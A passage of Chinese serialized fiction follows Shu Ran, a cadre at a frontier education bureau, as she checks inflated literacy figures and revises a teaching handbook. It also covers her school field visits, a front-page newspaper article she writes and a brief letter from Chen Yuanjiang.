“纸片子也很重要,”舒染拿起一份报告,“这里面是成千上万人的努力。把它们理清楚,让好的经验被看见,让问题被及时发现,就是我们工作的意义。” 王娟若有所思地点点头。 接下来的半天,舒染埋首在文件堆里。油墨印刷的字迹时而模糊,报表上的数字有时前后矛盾,总结报告里的空泛文段比比皆是。她看得仔细,不时在自己的本子上记录下关键信息、存疑的数据以及那些报告背后可能出现的真实情况。 快下班时,李卫国回来了,看了看舒染桌上摊开的文件和写得密密麻麻的笔记本,眼中闪过一丝惊讶,“舒染同志,效率很高嘛。怎么样,有什么发现?” “初步看,北边地区地理环境差异大,生搬硬套一种模式确实不行。”舒染合上本子,语气客观,“有的牧区分散,流动教学点形式接受度高,但师资和物资保障是短板。有的地区农业团场集中,职工子弟学校基础好些,但家属扫盲和少数民族语言融合教学有待加强。另外……” 她顿了顿,看向李卫国:“不少地区的报告里,合格率的数据和具体描述对不上,可能存在为了达标而虚报的情况。” 李卫国脸上的笑容淡了些:“数据嘛,总有误差。下面同志工作也不容易,我们要多看成绩,多鼓励。” “成绩要看,问题也要正视。否则我们指导小组的存在价值就不大。”舒染语气里带着坚持,“如果基础数据不实,我们提出的任何指导意见都可能是空中楼阁,甚至会误导。” 李卫国被她问得一噎,脸色有些不好看:“舒染同志,你刚来,可能不了解情况。处理这些数据要讲方法,要考虑下面的实际情况和各方面的反应。” “我明白工作的复杂性。”舒染站起身,开始整理桌面,“但正因如此,我们才更要对每一份数据负责。这是我的工作习惯,也希望以后能和李组长、王娟同志一起,把基础打得更牢。” 李卫国盯着她看了几秒,最终扯了扯嘴角:“好啊,那我们就看看,舒染同志怎么把这个基础打牢。下班了,走吧。” 回去的路上,舒染在食堂打了份简单的饭菜回了宿舍。 她吃完饭,洗漱完毕,躺在床上。窗外是V城的灯火,远处传来隐约的火车汽笛声。 这里没有戈壁的风光,没有牧区的景色,有的只是看不见的规则和堆积如山的资料。 陈远疆依旧没有消息。 她翻了个身,面朝墙壁,很快睡去。 第二天,她起得很早。在食堂吃过早饭,第一个到了办公室。她简单收拾了一下办公室的卫生。 当李卫国和王娟到来时,看到的是窗明几净的环境和已经伏案工作的舒染。 “舒染同志,你来这么早?”王娟有些惊讶。 “习惯了。”舒染抬头笑了笑,“早上安静,思路清楚。” 李卫国没说什么,端起茶缸去水房打水。 舒染继续投入到文件中。 下午,她找到资料室的张雅琴,凭借昨天闲聊时建立起的那点熟稔,借阅了近几年的教育政策汇编和内部参考材料。 “舒染同志,你要的这些,可有点敏感啊。”张雅琴小声提醒。 “我只是想更全面地了解政策背景,这样才能更好地理解下面的报告。”舒染态度诚恳,“保证遵守纪律,只在资料室看,不带走。” 张雅琴看着她犹豫了一下,还是帮她找了出来。 下午,舒染开始有选择地打电话。她以“核实情况,便于更准确地总结经验”为由,与几个数据存疑地区的教育干事沟通。 她语气谦和,问题却切中要害,几个回合下来,对方往往额头冒汗,支支吾吾地表示需要再核对。 王娟在一旁看得心惊胆战,趁李卫国不在,小声道:“舒染,你这样……会得罪人的。” “我们是在帮助他们发现问题,改进工作。”舒染平静地说,“如果因为怕得罪人就对问题视而不见,那才是最大的失职。” 几天下来,办公室的气氛有些微妙。李卫国明显感到舒染不是一个能被轻易拿捏或者糊弄过去的人。她专业、严谨,而且不怕事。他那些惯常的和稀泥和报喜不报忧的工作方式,在她这里似乎行不通了。 这天下午,李卫国被局长叫去谈话。回来时,脸色不太好看。他径直走到舒染桌前,把一份文件放在她面前。 “舒染同志,这是局里刚收到的通知,点名要你参与。”他的语气复杂,带着点不甘,又有点如释重负,“是关于你那本《边疆基层教育标准化工作手册》的。领导看了初稿后很重视,要求成立一个专门的修订小组,由你主要负责,结合在指导小组的工作,进一步修改完善,争取能在更大范围试用。” 舒染接过文件。是上级的正式通知,盖着公章。 “另外,”李卫国顿了顿,“局长说了,指导小组后续的工作,要更扎实,数据核实方面……让你多费心。” 舒染抬起头,看向李卫国。他避开了她的目光,转身走回自己的座位。 王娟惊喜地看向舒染,无声地说了句“恭喜”。 下班后,舒染独自走到教育局后面的小操场,她需要一点时间消化这个消息,也需要思考下一步该如何走。 手册的修订,需要更多的实践案例支撑,需要倾听不同地区、不同背景教育工作者的声音。她不能闭门造车。 还有陈远疆……他现在在哪里?是否知道她这里刚刚发生的转变? 她从口袋里掏出一枚白色的石头,这是畜牧连的孩子塞给她的。石头温润的触感,让她恍惚间又回到了那片土地。 她握紧了石头,然后转身向着办公楼走去。 第143章 兵团教育部的通知在教育局泛起了涟漪。舒染明显感觉到周围人看她的目光发生了变化。 李卫国再面对舒染时, 那份若有若无的优越感收敛了许多,语气里多了几分慎重。 “舒染同志,修订手册是大事, 需要什么支持,你可以提出来。指导小组这边的工作……”他想了想, “王娟可以先多承担一些基础汇总,你把主要精力放在手册上。” “谢谢李组长。”舒染的态度依旧平和,“手册的修订离不开对一线情况的把握, 指导小组的工作能让我保持对全局动态的敏感,两者不矛盾。一些基础的核实和沟通,我可以利用晚上和周末时间完成,不会影响小组进度。” 她没有完全接受李卫国特殊照顾的好意, 这既是不愿授人以柄, 也是她真实的想法。 李卫国似乎有些意外, 看了她一眼, 没再坚持:“那你自己把握好分寸。” 接下来的日子, 舒染白天处理指导小组的日常文件, 在与各地区沟通时,她会更加留意那些能印证或补充手册观点的具体案例和做法。 她不再考究于数据, 而是会引导对方:“这个扫盲巩固率提升很快,具体采取了哪些措施?有没有遇到困难?是怎么解决的?”这种着眼于沟通方式显然比单纯的质询更容易被接受。 晚上和周末, 她的小宿舍就成了临时工作室。桌上、床上铺满了各地汇集来的材料,还有她不断补充修改的笔记。她重新梳理框架, 将原本偏重畜牧连和周边牧区的经验, 拓展到更广泛的农业团场、边境连队和城镇初级学校。 她知道,手册要能推行下去,必须能回答一线教师最迫切的问题:没有教学资源怎么办?孩子年龄差异大怎么教?家长不愿意送孩子来怎么动员?少数民族语言不通如何突破? 她摒弃了空泛的理论, 用直白的方式列举了大量来自基层可操作的办法。还特别增加了特殊情况处理的章节,收录了如何处理误解、如何应对突发危机、如何在物资极端匮乏时利用自然和废弃资源。 每一段描述她都力求真实,有可复制的路径。她反复推敲措辞,避免任何可能被曲解为标新立异或否定主流的表述,始终将基层的智慧置于政策和理论框架之下,强调这是“在特定条件下对通用原则的灵活运用”。 修订过程中,她主动找到了张雅琴。 “雅琴姐,我想麻烦您件事。”舒染语气诚恳,“手册修订需要参考更多兄弟省份,尤其是其他边疆地区的扫盲和基础教育经验,不知道资料室有没有相关的内部交流材料或者简报?” 张雅琴对这位年轻干部印象很好,爽快答应:“我帮你找找看,不过这类材料不多,而且有些是保密级别的。” “没关系,能看的我就借阅学习,不能看的我绝对遵守纪律。”舒染递过一张纸条,“这是我目前梳理的一些重点问题,如果您看到相关材料,麻烦帮我留意一下。” 这种态度让张雅琴更愿意帮忙。 她也没忘记另一个在这边新认识的人脉。 一次加班后,舒染拿出一包从兵团带来的奶糖分给办公室的王娟。 “王娟同志,这几天辛苦你了,帮我分担了不少工作。” 王娟有些不好意思:“没事,应该的。你那个手册才叫辛苦,我看你天天熬夜。” “都是大家一起干出来的经验,我不过是记录下来。”舒染顺势坐下,像是闲聊般问道,“对了,你接触各地报告多,你觉得目前扫盲工作最大的难点,除了物资和师资,还有什么?” 王娟想了想,说:“我觉得……是怎么让学了的东西不掉。好多地方汇报说脱盲了,可过一阵子,不用就又忘了。还有就是,有些年纪大的家属,觉得自己学不会,不肯来。” 舒染认真记了下来:“巩固和动员,确实是关键。手册里得强调定期复习和实际应用,还得给老师们提供鼓励成年学习者的具体话术。谢谢你,王娟,你提醒我了。” 王娟没想到自己随口一句话被这么重视,眼中泛起光。 一个月后,手册修订的初具雏形。舒染没有急于上报,她找到李卫国和局长,提出了一个请求。 “局长,李组长,手册初稿基本完成了。但我觉得,闭门造车不行。我想申请一次短期的基层调研,不需要去远,就在咱们V城周边的几个团场和县镇学校,实地看看手册里的方法是否真的管用,听听一线老师们的意见。最多一周时间。” 李卫国第一反应是反对:“跑下去?时间紧张,而且……” 局长沉吟了片刻,看着舒染眼底的坚持,摆了摆手:“行吧,手册好不好,最终要一线说了算。去吧,注意安全,控制好时间。” 舒染的调研选择了三个有代表性的点:一个以农业为主的团场子弟学校,一个多民族混居的教学点,一个V城郊区的职工家属扫盲班。 天还没亮透,舒染就搭上了一辆前往团场的运粮拖拉机。驾驶室挤不进去,她就坐在后面堆叠的麻袋上。 同车的老把式看了她几眼,瓮声瓮气地问:“女娃娃,去团场做啥?” “去看看学校。”舒染大声回答,声音散在风里。 “哦,学校的娃娃啊……”老把式不再多问。 到了团场,找到子弟学校时,正是第一节课间。学校是几排干打垒的土坯房,窗户上糊着旧报纸。操场上,孩子们追跑打闹着。校长是个皮肤黝黑的中年人,听说她是上面来的,有些局促地跟她握手。 “舒同志,欢迎欢迎,我们这条件差……” “校长您别客气,我就是来学习的。”舒染打断他的客套,目光已经投向教室里,“能听听课吗?” “行,行,您随便看。” 舒染没有去听安排好的示范课,而是随意走进一间低年级教室。孩子们正跟着老师读课文,声音参差不齐。她注意到后排一个小男孩,握着一截短短的铅笔头,在本子上费力地划着,字迹歪歪扭扭。课桌是长条木板搭的,上面布满刻痕。 课间,她走到那个小男孩身边,蹲下来,轻声问:“刚才的课你喜欢吗?” 小男孩怯生生地看着她,把手往袖子里缩了缩。 舒染从口袋里摸出几颗水果硬糖,塞到他手里,又对围过来的几个孩子笑了笑:“大家分着吃。”她没有立刻问学习,而是指了指窗台上一个用泥巴捏的小马:“这个捏得真好,是谁做的?” 一个小女孩骄傲地举起手:“我!” “真像!你能教教我吗?”舒染语气里满是欣赏。 孩子们一下子活跃起来,七嘴八舌地说着。 等孩子们散去,她才像拉家常班主任聊起来。 “孩子们早上几点到校?路远的吃饭怎么解决?” “铅笔本子够用吗?不够的时候怎么办?” “家长支持孩子上学吗?有没有觉得耽误干活的?” “上课内容,孩子们觉得哪部分最难?哪部分最有趣?” 她问得细,听得更细。老师一开始还有些紧张,见她只是记录,渐渐就放开了,倒起了苦水:“……可不是嘛,有的家里觉得认几个工分就行了,农忙时就不让孩子来……铅笔头用到捏不住,本子写了正面写反面……讲到课文里没见过的东西,娃娃们没见过也想象不出来……” 舒染一边记,一边适时地分享她在畜牧连的经验:“我们那边用过烧过的树枝当笔,在沙地上写。也鼓励大孩子教小孩子,认名字开始,谁先认出全班的名字,就给个小奖励,比如一颗糖,或者一朵小红纸花,孩子们争着学……” 她说的都是切实可行的土办法,班主任琢磨了一瞬:“这法子好!我们也能试试!” 离开时,舒染把包里带的一大叠背面能写字的废旧报表纸留给了老师。校长送她到门口,搓着手,语气比来时真挚了许多:“舒同志,你跟别的……不太一样。” 第二站是多民族聚居的教学点。 那里的路更难走,是连队的巡逻车顺便捎上她的。教学点就在连队驻地旁边,一间更破旧的土坯房,里面混合着七八个年龄不一的孩子,有职工子弟,也有附近牧民的娃娃。老师是个年轻的退伍兵,叫小赵,普通话带着浓重的口音。 舒染到的时候,小赵正在教“大小多少”,他拿出了仅有的几根粉笔,在黑板上写字。孩子们眼神有些茫然,尤其是那几个牧民孩子。 舒染没有打扰,静静坐在后面。课间,她走到那几个牧民孩子身边,用简单的民语单词夹杂着手势比划:“你的名字叫什么?” 一个叫巴哈尔古丽的小女孩羞涩地说了自己的名字。 舒染拿出本子,用铅笔画了一朵简单的雪莲花,在旁边写上“花”字,又指着巴哈尔古丽头上的头巾,画了个波浪线,写上“头巾”。小女孩好奇地看着,用手指描摹那个“花”字。 她跟小赵老师交流时,先肯定了他的不容易:“一个人带这么多不同年龄、不同语言基础的孩子,太辛苦了。” 小赵挠挠头,憨厚地笑了:“没啥,就是有时候不知道咋教才好,他们听不懂。” 舒染这才拿出手册草稿里关于“多语言环境教学”和“图示法”的部分,用商量的语气说道:“小赵老师,你看,我们试着把字和画结合起来怎么样?还可以培养几个汉语好的孩子帮忙翻译,你觉得行得通吗?” 小赵看着那些简单的图示和方法,连连点头:“对对,这个直观!我咋没想到呢!” 舒染还注意到教室角落里堆着一些废弃的木箱和木板。她和小赵一起,动手把木板钉在木箱上,做了几个更稳当的小凳子和一个可以放杂物的小架子。 第三站是V城郊区职工家属扫盲班。 这个扫盲班设在厂区的一个旧仓库里,学员都是三四十岁的妇女。晚上九点开班,舒染到的时候,里面已经坐满了人。 负责教学的是一位姓刘的女干事,她在教“男女平等”,念着课文,下面的妇女们有的打哈欠,有的在纳鞋底。 舒染坐在最后,听了一会儿。等刘干事讲完一段,她征得同意后,走到前面笑着问大家:“大姐们,白天忙了一天,晚上还来学习,累不累?” 下面传来几声不好意思的笑。 “我知道大家最想学的是什么。”舒染目光扫过众人,“是不是能看懂发给咱的布票、粮票上是几尺几斤?能看懂娃娃成绩单上写的是好是赖?能给自己爹娘写信不用求人?” 这话说到了心坎上,妇女们纷纷点头,气氛活跃起来。 “那咱们今天就先学这个!”舒染拿起粉笔,在黑板上画了张简单的布票样子,写上“布票”、“伍尺”、“姓名”。又画了个成绩单,写上“语文”、“100分”、“进步”。 她教得慢,一个字一个字地拆,结合着生活讲。让她们在自己的本子上模仿,互相看。 “对,就是这样,‘布’字这边像个架子,挂着一匹布……” “‘进步’的‘步’,你看,像不像在走路?” 她不时穿插着鼓励:“张大姐,你这个字写得真端正!”“王大嫂,你都会写自己名字啦!真厉害!” 一堂课下来,妇女们兴致勃勃,下课了还围着舒染问。一位大姐拉着她说:“舒老师,你讲得明白!俺就觉得,这字啊,跟咱过日子是连着的!” 一周的调研结束,舒染带回来的不仅是满满的笔记,还有一线教师们对手册草稿最真实的反馈。她根据这些反馈,又一次对手册进行了细致的修改和打磨,语言更加精炼,案例更加鲜活,操作性更强。 当她将最终修订好的《边疆地区基层扫盲与启蒙教育实用手册(试行版)》提交给了领导。 等待批复还要好一阵子,她只能继续投入到指导小组的工作中,同时开始着手整理调研中收集到的新案例,思考如何将这些经验转化为对更大范围工作具有指导意义的分析和建议。 很快,那本手册就正以油印的方式,被悄然分发到边疆的各个地区,甚至其他省份的基层教育工作者也有耳闻。 渐渐地,一些信件开始寄到V城教育局,收件人写着“舒染同志”或“手册编写组”。信的来处有偏远的牧场教学点、边陲小学……信中的内容都表达着同一个意思:这本手册很好用。 第144章 V城教育局的日子按部就班地过着。 舒染那本手册带来的好评扩散得比预想更远。一些来自更偏远地区教育单位的信件, 开始零零星星地寄到她的名下,信中除了赞扬,更多是具体问题的请教。 舒染总觉得她摸索出的这条路, 确实切中了许多一线教育工作者的痛点。 李卫国对她的态度带着点讨好。王娟则几乎成了她的小迷妹,做事更加卖力。舒染对此心知肚明, 但并不点破,依旧保持着不卑不亢的态度,该自己做的工作一丝不苟, 该分享的功劳绝不独揽。她知道在这个位置上,稳固比锋芒更重要。 这天下午,她正在整理各地反馈的意见,准备对手册进行第二次小的修订, 通讯员小刘在门口探头:“舒染同志, 有你的信, 兵团来的, 还有一封挂号信, 落款是首都。” 首都?舒染的心猛地一跳, 面上却不动声色,放下笔走过去:“谢谢小刘。” 两封信。一封厚厚的, 来自兵团教育部,估计是手册反馈的汇总。另一封, 薄薄的,信封是常见的牛皮纸, 落款只有“内详”二字, 但那遒劲中略带潦草的字迹,她一眼就认出来了——是陈远疆。 待小刘走了以后,舒染先拆开了兵团的那封, 果然是正式的文件和厚厚的意见汇总,公事公办的语气,但字里行间透着肯定。她快速浏览一遍,心中有数,便将文件仔细收好。 然后她的目光才落在那封薄薄的信上。手指摩挲了一下着信封边缘,才用小刀仔细地裁开。 信纸只有一页,陈远疆的字迹看起来写得有些匆: 舒染: 见字如面。 听闻你在V城一切安好,工作卓有成效,那本手册已在基层引起反响。虽已料到,但还是恭喜你。 我一切如常,任务尚未结束,归期未定,但应不会太久。边疆艰苦,注意身体,勿念。 诸事繁杂,不便多言。保重。 陈远疆于京 信很短,干巴巴的,除了开头那句“见字如面”带着点温度,后面全是公式化的语气交代。没有提及任何具体任务,没有解释为何在京,没有回应她的牵挂,甚至连一句像样的关心都显得吝啬。 “听闻”?他是听谁说的?任务“不会太久”是多久? 舒染捏着信纸,心情复杂。她不不失望,内心深处,她期待着更热烈的回应。但这封信,像他这个人一样把情绪显得密不透风。 她将信纸展平,又细细读了一遍。他的字迹在“恭喜你”三个字上。他是在强调,还是在掩饰什么? 舒染将信纸仔细折好,收回信封,放进抽屉最底层,和那本手册的初稿放在一起。她走到窗前,看着窗外V城灰扑扑的天空。 首都,那是一个离她此刻的生活无比遥远的地方。他在那里做什么?老首长找他,仅仅是因为任务吗?怎么和之前听到的传言不一样呢? 一种不确定感萦绕心头。但她很快压了下去。陈远疆有他的路,她舒染,也有自己的征途。 既然他让她“勿念”,那她便不念。至少不在明面上念。 她的目光变得清明了一点。手册的成功是一个起点,但还不够。她需要更大的平台来巩固她自己的位置。只有她自己足够强大,才能在任何变故面前,拥有选择的底气。 一个念头在她心中逐渐清晰。光是实践手册还不够,她需要将自己的经验系统化、理论化,形成一套能让人记住的,能引起更上层关注的论述。V城教育局的资料有限,但有一个地方,或许可以成为她的跳板。 几天后,舒染带着整理好的手册反馈和一份新的报告提纲,去找了局长。 “局长,这是各地对手册的反馈意见汇总,以及我根据这些反馈和近期在指导小组工作中发现的一些普遍性问题,草拟的一份关于当前边疆扫盲与基础教育阶段核心矛盾与对策思考的报告提纲。”舒染将材料放在局长桌上,语气恭敬而不失自信。 局长翻看着厚厚的反馈汇总和提纲点了点头:“舒染同志,工作很深入,思考也很系统。这份报告,你打算怎么写?” “我认为我们不能只停留在总结具体方法上。”舒染迎上局长的目光,“应该提炼出我们边疆教育工作的核心理念。比如,生存技能认知教育必须先行,这是解决读书无用论和争取群众支持的关键;在此基础上,扎实的文化知识教育要稳步跟进,打好基础;最终进行理想引领,培养建设边疆的下一代。这三者环环相扣,不能偏废。” 局长眼中闪过一丝亮光:“生存教育先行,文化教育跟进,理想教育引领……这个提法有点意思。总结得很好,很符合我们边疆的实际。你放手去写,写好了先给我看。” “是,局长。”舒染顿了顿,状似无意地提起,“不过,局长,我觉得这么好的理念,如果只是在我们内部传阅,影响力有限。不知道我们局里,和《边疆教育报》那边,有没有经常性的投稿渠道?如果能将我们的经验和新思路在那个平台上发表,或许能引起更多共鸣,也能吸引更多资源关注我们V城乃至整个边疆的教育事业。” 局长沉吟了一下。《边疆教育报》是面向整个边疆地区的权威教育刊物,能在上面发表文章,对个人和单位都是较大的荣誉和宣传。 他看了看眼前这个年轻女干部,她很沉稳,还很有想法,而且懂得为自己,也为单位争取机会。 “嗯……报社的胡主编,我倒是有过几面之缘。这样,你这篇报告用心写。写好了我帮你看看,如果确实质量过硬,我可以写封推荐信,帮你递过去。但能不能发表,还得看报社那边的审核。” 舒染心中一定,脸上露出感激的笑容:“太好了!谢谢局长支持!我一定尽全力把报告写好,不辜负您的期望!” 拿到了局长的默许,舒染几乎将所有的业余时间都投入到了那篇报告的撰写中。她不再是简单地罗列现象和方法,而是试图构建一个符合时代要求的理论框架。 她反复研读最新的政策文件和社论精神,确保自己的论述既能扎根于边疆,又能与上层建筑的话语体系对接。 她将生存教育与理论联系实际、服务人民的号召巧妙结合;将文化教育阐释为打好社会主义文化基础的必要环节;而理想教育则顺理成章地升华为培养共产主义事业接班人的崇高目标。 她引用的案例,全部来自工作中接触到的不容辩驳的真实事例。 写作的过程并不轻松,常常为了一个措辞反复斟酌,既要准确表达思想,又要规避可能的风险。熬夜成了家常便饭,但她乐在其中,这是一种不同于基层奔波的挑战和创造。 期间,李卫国似乎嗅到了什么,旁敲侧击地问她最近在忙什么大文章。舒染只是笑笑,含糊地说在整理材料,总结前期工作。她不想节外生枝。 王娟倒是贴心,看她熬夜,有时会悄悄帮她打好热水,或者从食堂带点吃的回来。 “舒染同志,你也别太拼了,身体要紧。” “没事,趁现在有思路,赶紧写出来。”舒染揉了揉发胀的太阳穴,递给王娟几颗巧克力,“尝尝,朋友从外地捎来的。” 一个月后,一份题报告初稿完成了。洋洋洒洒近两万字,逻辑严密,案例翔实,论述清晰。 她先拿给局长看。局长戴上老花镜,看得非常仔细,花了整整一个下午。看完后,他摘下眼镜,长长舒了口气。 “舒染同志,你这篇文章……写得很有前瞻性啊!”局长语气中带着赞赏,“有理有据,有深度,有高度,而且紧扣当前精神!我看,完全达到了发表的水平!” 他当即拿出信纸,亲自给《边疆教育报》的胡主编写了一封推荐信,盖上章,连同报告稿一起封好。 “我让通讯员明天就给你寄出去。”局长把信封递给舒染,鼓励地说道:“好好干,小舒!” 等待回音的日子变得有些漫长。她照常处理指导小组的工作,但心思总是不自觉地飘向那封寄往报社的信。她反复推敲报告里的每一个论点,设想可能遇到的质疑。 李卫国似乎终于打听到了一点风声,但他什么都没说,只是工作上更加配合了。 就在舒染几乎要按捺不住想去问一下进度时,通讯员小刘气喘吁吁地跑进办公室,手里举着一个印着《边疆教育报》社字样的大信封。 “舒染同志!你的信!报社来的!” 办公室里瞬间安静下来。李卫国从文件里抬起头,王娟也停下了手中的笔,看着舒染。 舒染接过信封。很厚。她当着众人的面拆开。 里面首先是她的那份手写稿,上面多了许多铅笔写的批注。她快速翻阅着,发现那些批注大多是“好!”“此处案例典型!”“论述精当!”,只有少数几处是询问细节或建议微调。 然后她看到了附在稿子最上面的一封信。是胡主编的亲笔信。 “舒染同志,来稿收悉,拜读后深感振奋!你于立足边疆教育一线,所提‘生存、文化、理想教育三位一体’之理论,切中时弊,见解独到,实践案例生动鲜活,极具推广价值与理论深度。经我报编委会审议,一致决定全文刊发,并拟作为下一期头版重点文章推出。 唯有个别细节,已由编辑铅笔标注,烦请酌改后尽快寄回。另,鉴于文章影响,刊发时拟配发编者按,特邀阁下为此文撰写一篇创作心得,简要阐述理论形成过程与核心观点,字数一千以内即可。 盼复! 《边疆教育报》 胡墨文” 舒染逐字逐句地看完。 “舒染,怎么样?”王娟忍不住小声问。 李卫国也竖起了耳朵。 舒染将胡主编的信放在桌上,脸上露出一个笑容:“报社那边说,文章基本通过了,需要再修改几个小地方。” 她没有提头版,也没有提编者按。有些事,不需要自己宣扬,结果自然会说明一切。 舒染没有耽搁,利用周末时间,根据编辑的批注仔细修改了稿子,又精心撰写了一篇创作心得。她在心得中,再次强调了基层实践是她理论的唯一源泉,并感谢了V城教育局领导的支持和同事们的帮助。 将修改好的稿子和心得寄出后,她站在邮局门口,看着蔚蓝的天空,感觉V城的空气都清新了许多。经验告诉她,当那篇文章出现在报纸上时,她的名字和她提出的理论,将不再局限于V城,甚至不再局限于她所在的兵团。 至于接下来要迎接的是什么,她期待着,也准备着。 第145章 稿子寄出后, 舒染恢复了往日的生活节奏。她依旧每天准时上下班,处理指导小组的事务,对手册的二次修订也同步进行。但她心里那根弦一直绷着, 等待着那期报纸的出版。 这期间,她收到了畜牧连的来信。是王大姐和李秀兰寄来的。信里说了连队和学校的新鲜事, 说了孩子们多么想念舒老师,还特意提到阿迪力现在已经是刘技术员的正式助手。信的末尾问她:舒染,你在外面一切都好吧?听说你干得特别好, 我们都为你高兴! 她提笔回信,仔细问了每个人的近况,鼓励阿迪力继续学习,并随信寄回了一小包在V城能买到的学习用品。 她也给许君君写了信, 询问她的近况, 并提及了自己可能即将发表的文章, 分享这份喜悦。 下午, 舒染去了印刷室。 办公室里, 油印机的滚筒吱呀作响。舒染将最后一张校样从机器上取下, 仔细检查着工作手册的字迹是否清晰。 王娟端着一杯热水走过来,轻轻放在舒染桌角, “舒老师,歇会儿吧, 你这都忙了一上午了。” “就快好了。”舒染头也没抬,用沾着些许墨迹的手指划过纸面, “这修改过后下午就要下发到各团场征求意见, 不能有错漏。” 组长李卫国端着搪瓷缸从外面踱步进来,视线在舒染和那叠油印材料上扫过,脸上扯出一个笑, “小舒啊,干劲十足是好事,但也别太累着。这手册初稿能这么快出来,你是头功。” 舒染这才抬眼,笑了笑,“组长过奖了,是大家共同努力的结果。”她语气平和,听不出太多情绪。 李卫国在她旁边的椅子坐下,缸子往桌上一放,“刚才我去局长那儿汇报工作,局长还特意问起手册的进展,很是关心。看来咱们指导小组这开局,打得不错。” 他话锋一转,状似随意地问,“《边疆教育报》的胡主编那边不是也给你来信了么,到时候也可以在他那边发发力。” 舒染心下明了。她放下校样,拿起王娟给的那杯水,焐着有些发凉的手指,“是,胡主编对咱们基层扫盲的一些做法很感兴趣。” “哦?这是好事啊!”李卫国眼睛一亮,“你的文章要是真的能在上面成功发表,那是给我们整个V城教育局,还有咱们指导小组脸上增光。你可得好好写,需要什么材料,组里全力支持。” “谢谢组长。”舒染点头,“我想着不能光讲成绩,也得实事求是地反映些困难。” 李卫国脸上的笑容淡了点,“困难嘛,当然可以提,但要注意分寸。主要还是突出成绩,展现我们在艰苦条件下的奋斗精神。毕竟,现在各方面都讲究个风向。”他意味深长地看了舒染一眼。 “我明白。”舒染垂下眼睫,看着杯中袅袅升起的热气,“会把握好的。” 正说着,门口传来一个爽利的声音,“哟,都在呢?李组长,舒老师!” 是教研室的刘惠,她手里拿着份报纸,风风火火地走进来,脸上带着兴奋,“快看!咱们舒老师的大作,上报了!头版!” 办公室里顿时一静。李卫国率先反应过来,一把抓过报纸,“我看看!” 舒染心脏微微一跳,虽然早有预料,但真看到自己的名字印在头版显著位置,标题下方,还配发了一小段编者按,肯定其来自基层的宝贵经验与深入思考,她还是有些激动。 王娟凑过去看,发出一声低低的惊呼,“真的是头版!舒老师,你真厉害!” 李卫国快速扫过文章内容,脸上的表情有些复杂。他抬头看向舒染,语气比刚才更热络了几分,“小舒啊,你这可是不鸣则已,一鸣惊人!头版文章,还有编者按,这分量可不轻!局长知道了肯定高兴!” 刘惠与有荣焉地拍着舒染的肩膀,“我就说舒老师是有真本事的!这篇文章写得多实在,句句都说在点子上,不像有些人,尽会唱高调。” 她的目光意有所指地瞟了李卫国一眼。李卫国假装没看见,呵呵笑着,“是啊,小舒这次可是给我们小组,给我们局里争了大光。得庆祝庆祝!晚上我请客,咱们去食堂炒两个小菜!” “组长破费了。”舒染脸上适时露出一点恰到好处的腼腆和喜悦,“文章能发出来,离不开组织的培养和同志们的帮助。” 她心里清楚,这篇文章的发表,意味着她不再仅仅是一个有经验的基层工作者了,而是在更高层面的舆论场上,有了一个属于自己的发声筒。这会带来机遇,也必然伴随着更多的关注,乃至风险。 下午,消息就传开了。不断有人到指导小组办公室来,名义上是找李卫国谈工作,目光却都不由自主地往舒染这边瞟,说着恭喜和佩服的话。舒染一一客气回应,态度既不拿乔,也不过分热络,处理得滴水不漏。 快下班时,资料室的张雅琴悄悄过来,塞给舒染一小包用油纸包着的杏干,“快尝尝,这杏干甜得很。舒老师,文章我仔细看了,写得真好,尤其是那个生存教育先行,我们资料室整理各地汇报材料,最深的感觉就是这个,肚子都填不饱,哪有力气学文化?你说到根上了。” 舒染接过杏干,低声道谢,“张姐过奖了,我只是把看到的情况写出来。” 张雅琴压低声音,“不过,你也得当心。你这文章,等于是在说现在有些扫盲工作脱离实际。有些人面上夸你,背地里不知道怎么想呢。” 舒染心中了然,点点头,“谢谢张姐提醒,我心中有数。” 下班后,舒染没有立刻离开。她将办公室仔细打扫了一遍,又把明天要处理的文件归置好。 窗外,天色渐渐暗下来,V城的灯火次第亮起,比不上大城市,却也有一种边疆特有的宁静。 她独自走在回宿舍的路上。文章发表带来的兴奋已经沉淀为一种清醒。从这一刻起,她站到了一个更显眼,也可能更风口浪尖的位置。 走到楼道里,一股暖意扑面而来。刘惠正在炉子边炒菜,见她回来,扬声道:“正好,吃饭!今天可得给你加个餐,庆祝庆祝!” 张雅琴也从里屋出来,笑着摆碗筷。 看着眼前热腾腾的饭菜和两位邻居的笑脸,舒染心底一暖。在这个远离故乡和熟悉人群的地方,这点滴的温情显得格外珍贵。 晚饭后,她坐在书桌前,铺开信纸,准备给陈远疆写信。笔尖在纸上顿了顿,最终只落下数语: “远疆:见信好。我一切安好,工作确有进展,近日有一篇关于边疆教育的小文章见于报端,算是阶段小结。知你任务在身,不必挂念。望你一切顺利,保重。舒染。” 她将信纸折好,装入信封。 如今的她已不再是那个初来乍到的需要抓住一根浮木的穿越者了。 * 文章发表后的效应在接下来的几天里持续发酵。 局长在全局工作会议表扬了舒染,称其“立足基层,思考深入,为全局争得了荣誉”。这使得舒染在局里的地位变得有些微妙。李卫国表面上对她更加客气,甚至有些工作会主动询问她的意见,但舒染能感觉到,那客气底下藏着一层隔阂与打量。 这天下午,舒染被叫到局长办公室。 局长姓韩,,此刻正低头翻阅着舒染之前提交的那份报告。 见她进来,韩局长合上了报告,抬起头,脸上看不出什么表情。“舒染同志,”他开口,声音平稳,“你的报告很详细,也很敢写。” 舒染心头微紧,面上不动声色,“局长,我只是把实际情况和我们在基层摸索出来的土办法,做了个汇总。” “土办法?”韩局长微微挑眉,拿起桌上的《边疆教育报》,点了点舒染那篇文章,“你这土办法可是上了头版的。里面提到的生存教育先行,文化教育跟进,理想教育引领,这个提法,很有见地。不是闭门造车能想出来的。” 他话锋一转,语气沉了些:“不过,舒染同志,你也应该清楚,你报告里提到的这些困难,比如师资力量薄弱,教材脱离实际,特别是红星岩教学点暴露出来的问题,有些同志可能会认为,这是给我们边疆教育工作抹黑。” 舒染迎着他的目光,没有躲闪:“局长,我认为,发现问题,解决问题,才是真正的对工作负责。掩盖问题,等到小毛病拖成大窟窿,那才是最大的失职。红星岩的问题,恰恰说明我们的工作方法需要改进,需要更贴近实际。我的报告里,也针对这些问题,提出了具体的改进建议。” 韩局长沉默了片刻。 “你说得对。”他终于再次开口,语气里多了一丝不易察觉的赞许,“掩耳盗铃要不得。这份报告我会如实转呈上去。你的这些办法,我看很有推广的价值。” 他身体微微前倾,压低了声音:“下个月的全疆教育工作交流会,规格很高,听说部里也会来人。我们局这个名额,我决定派你去。” 舒染有些出乎意料,论资历排不上她。但是她还是不卑不亢地说:“谢谢局长信任。我一定认真准备,绝不给局里丢脸。” 